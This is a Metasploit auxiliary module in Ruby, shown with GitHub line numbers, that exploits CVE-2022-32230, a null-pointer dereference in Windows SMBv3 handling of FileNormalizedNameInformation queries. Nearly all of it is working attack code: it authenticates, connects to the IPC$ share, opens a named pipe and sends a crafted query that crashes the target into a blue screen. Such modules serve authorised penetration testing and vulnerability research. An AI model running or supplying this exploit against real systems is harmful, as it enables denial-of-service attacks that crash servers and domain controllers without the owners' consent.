83 lines (74 sloc) | 3.22 KB

```
1  ##
2  # This module requires Metasploit: https://metasploit.com/download
3  # Current source: https://github.com/rapid7/metasploit-framework
4  ##
5
6  class MetasploitModule < Msf::Auxiliary
7    include Msf::Exploit::Remote::SMB::Client::Authenticated
8
9    def initialize(info = {})
10     super(
11       update_info(
12         info,
13         'Name' => 'SMBv3 FileNormalizedNameInformation NULL-ptr Dereference',
14         'Description' => %q{
15           A remote and unauthenticated attacker can trigger a denial of service condition on Micro
16           Controllers by leveraging a flaw that leads to a null pointer deference within the Windo
17           vulnerability can be triggered on systems that are not Domain Controllers when authentic
18           vulnerability is triggered by opening a named pipe and then querying it for FileNormaliz
19           Access to a named pipe is why domain controllers can exploited anonymously while other s
20           authentication. This vulnerability was patched in April 2022.
21         },
22         'Author' => [ 'Spencer McIntyre' ],
23         'License' => MSF_LICENSE,
24         'Actions' => [
25           ['DOS', { 'Description' => 'Trigger Denial of Service against target' }],
26         ],
```

```
        'DefaultAction' => 'DOS',
        'References' => [
          [ 'CVE', '2022-32230' ],
        ],
        'DisclosureDate' => '2022-06-14',
        'Notes' => {
          'Stability' => [ CRASH_OS_RESTARTS ],
          'SideEffects' => [ SCREEN_EFFECTS ], # the BSOD is visible on the screen
          'Reliability' => [] # the DoS is reliable, but no payload is executed
        }
      )
    )

    register_options([ OptString.new('SMBPIPE', [ true, 'The pipe name to use', 'netlogon']) ])
    register_options([ Opt::RPORT(445) ])
  end

  def run
    connect
    begin
      smb_login
    rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
      fail_with(Module::Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
    end

    begin
      @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
    rescue RubySMB::Error::RubySMBError => e
      fail_with(Module::Failure::Unreachable,
                "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
    end

    query_file(filename: datastore['SMBPIPE'])
  end

  def query_file(filename: nil, type: RubySMB::Fscc::FileInformation::FileNormalizedNameInformatio
    begin
      file_id = @tree.open_file(filename: filename).guid
    rescue RubySMB::Error::RubySMBError => e
      fail_with(Module::Failure::Unreachable,
                "Unable to open the specified named pipe ([#{e.class}] #{e}).")
    end

    query_request = RubySMB::SMB2::Packet::QueryInfoRequest.new
    query_request.info_type = RubySMB::SMB2::SMB2_INFO_FILE
    query_request.file_information_class = type::CLASS_LEVEL
    query_request.file_id = file_id
    query_request.output_buffer_length = 0x400
    query_request = @tree.set_header_fields(query_request)
```

```
76
77      begin
78        @tree.client.send_recv(query_request, encrypt: @tree.tree_connect_encrypt_data)
79      rescue RubySMB::Error::CommunicationError
80        vprint_status('Received a communication error which indicates the service has crashed')
81      end
82    end
83  end
```